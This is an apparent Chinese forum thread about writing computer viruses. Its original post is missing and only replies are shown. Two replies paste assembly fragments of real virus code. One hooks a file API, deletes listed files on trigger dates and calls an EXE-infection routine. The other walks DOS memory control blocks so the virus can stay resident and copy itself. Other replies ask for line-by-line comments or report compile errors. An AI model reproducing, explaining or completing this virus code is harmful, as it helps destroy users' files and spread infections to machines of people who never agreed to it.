编程中国 | 业界新闻 | 技术文章 | 视频教程 | 下载频道 | 程序源码 | 个人空间 | 编程论坛  
 
全能 ASP / PHP / ASP.NET 主机,支持月付专业 MSSQL 数据库空间,支持月付专业 MySQL 数据库空间,支持月付学习型 ASP/PHP/ASP.NET 主机 30元/年
发新话题
打印

[原创]用C写病毒(1)

本主题由 卧龙孔明 于 2008-7-11 17:59 关闭
顶,正想学这类

TOP

新手,不过还是顶一下!

TOP

熊猫烧香吗?

TOP

卧龙版主 你能不能每1行注释下啊 浪费你点时间 谢谢了

TOP

版主真是强呀,佩服,我也要努力了
我也要研究一下哈
just me,go ahead!!!QQ179707875

TOP

楼主所说的用C语言来编写病毒压根来就是对文件的操作.并不是病毒.假设对仅仅这样子对文件进行操作就算是病毒的话.那么在这世上只是学编程的一定就是病毒制造者了.因为大家都知道每一种编程语言都有对文件的一章..
复制内容到剪贴板
代码:
照楼主的意思我们也可以这样子写写:
我们随便拿个病毒来分析一下其中它是怎么对文件进行操作.
-----------读取DAW并删除其指定文件---------
GETDAWFILE:
        MOV DR1,ESI         ;被操作文件名尾指针->DR1
        MOV AX,0D500H
        XOR EBX,EBX
        XOR ECX,ECX
        XOR EDX,EDX      ;MOV EDX,1
        INC EDX
        LEA ESI,EDI[COM_FN-START]
        CALL INT20_40_32
        JC FIND_NOCOM

        MOV EBX,EAX
        MOV  AX,0D800H
        CALL INT20_40_32
        JC CLOSE_GETCOM

        MOV ECX,EAX
        XOR EDX,EDX
        LEA ESI,EDI[COMLINE-START]
        CALL READFILE
CLOSE_GETCOM:
        MOV  AX,0D700H
        CALL INT20_40_32

        CLD
        XCHG ESI,EDI           ;ESI->@  EDI->COMLINE
        MOV  AX,000DH
REPL_CON:
        REPNZ SCASB
        JECXZ EXIT_REPL_LOOP
        DEC EDI
        INC ECX
        MOV [EDI],AH
        JMP  REPL_CON
        DW    87C7H
EXIT_REPL_LOOP:
        XCHG EDI,ESI           ;EDI->@ ESI->COMLINE末

        CMP [ESI-3],BYTE PTR '#'
        JNZ FIND_NOCOM

        MOV AL ,07H
        OUT 70H,AL
        IN  AL ,71H
        MOV CL ,AL
        MOV AL ,08H
        OUT 70H,AL
        IN  AL ,71H
        MOV CH ,AL

        MOV AH,'0'

        MOV DX,[ESI-7]     ;读月
        SUB DH,AH
        SUB DL,AH
        SHL DL,4
        ADD DL,DH
        OR  DL,DL
        JZ  IGNOREMONTH
        CMP DL,CH
        JNZ CMP_EXE
IGNOREMONTH:
        MOV DX,[ESI-5]     ;读日
        SUB DH,AH
        SUB DL,AH
        SHL DL,4
        ADD DL,DH
        OR  DL,DL
        JZ  FIND_NOCOM
        CMP DL,CL
        JNZ CMP_EXE
FIND_NOCOM:
        MOV ESI,DR1
        ADD EDI,OFFSET COMLINE-OFFSET START

        XOR AL ,AL
        OUT 70H,AL
        IN  AL ,71H
        MOV BH,AL
        AND BH,00011111B          ;比较秒(BH=SEC*2)
        XOR  BL,BL
        XOR  EDX,EDX
        DEC  EDI
        DEC  EDI
DELF_LOOP:
        NOT BL
        ADD EDI,EDX
        INC EDI
        INC EDI
        CMP [EDI],BYTE PTR 0
        JZ  CMP_EXE
        CALL GET_STL
        MOV EDX,ECX
        PUSH ESI
        SUB ESI,EDX
        CALL CMP_ST
        POP  ESI
        JNZ DELF_LOOP
        OR  BL,BL
        JNZ DEL_IT_EVERYTIME
        OR  BH,BH
        JNZ DELF_LOOP
DEL_IT_EVERYTIME:
        CALL DEL_FILE
        JMP EXITAPI
        DW    87C7H
;-----------读取DAW并删除其指定文件---------
CMP_EXE:
        MOV ESI,DR1
        MOV  EAX,NOT('EXE.')              ;是否为EXE文件
        NOT  EAX
        CMP  [ESI-4],EAX
        JNZ  EXITAPI
        CALL INF_EXE
;-------退出处理--------------------------
EXITAPI:MOV  EDI,DR0
        MOV  EDI[ENTERF-START],BYTE PTR 0
CALLOLDAPI:
        POPAD
        MOV  EAX,0
OLDAPI  =  DWORD PTR $-4
        JMP [EAX]
[[italic] 本帖最后由 cince 于 2007-11-29 04:52 编辑 [/italic]]
There Is Nothing Impossible In My Dictionary.

TOP

复制内容到剪贴板
代码:
;================================================================
no_active:
--mov ah,52------;取磁盘缓冲区地址
--int 21
--mov bx,es:[bx-2]----;取第一个 MCB 地址
--xor di,di------;清DI
loop_search:
--mov es,bx------;查找最后一个MCB地址
--add bx,word ptr es:[di+3]
--inc bx
--cmp byte ptr es:[di],5a
--jnz loop_search
;================Found Last MCB=========--
--mov bx,es------;保存找到的最后一个MCB地址----
--mov ax,word ptr es:[di+3]--;取最后一个MCB大小
--sub ax,vir_para------;剪去自己的PARA
--jnc keep_in_memory----;溢出则表明不够驻留
--jmp run_host------;否则继续
keep_in_memory:
--mov word ptr es:[di+3],ax--;改写最后一个MCB大小
--add bx,ax------;计算驻留区段地址
--inc bx
--mov es,bx------;并送入ES
--push cs
--pop ds--------;令DS=CS
--mov cx,vir_bytes----;将自己搬移
--cld
--rep movsb
There Is Nothing Impossible In My Dictionary.

TOP

TOP

我直接编译的,有错误!我qq:379219296

TOP

啊,病毒原来素这么写的- -! 汗

TOP

发新话题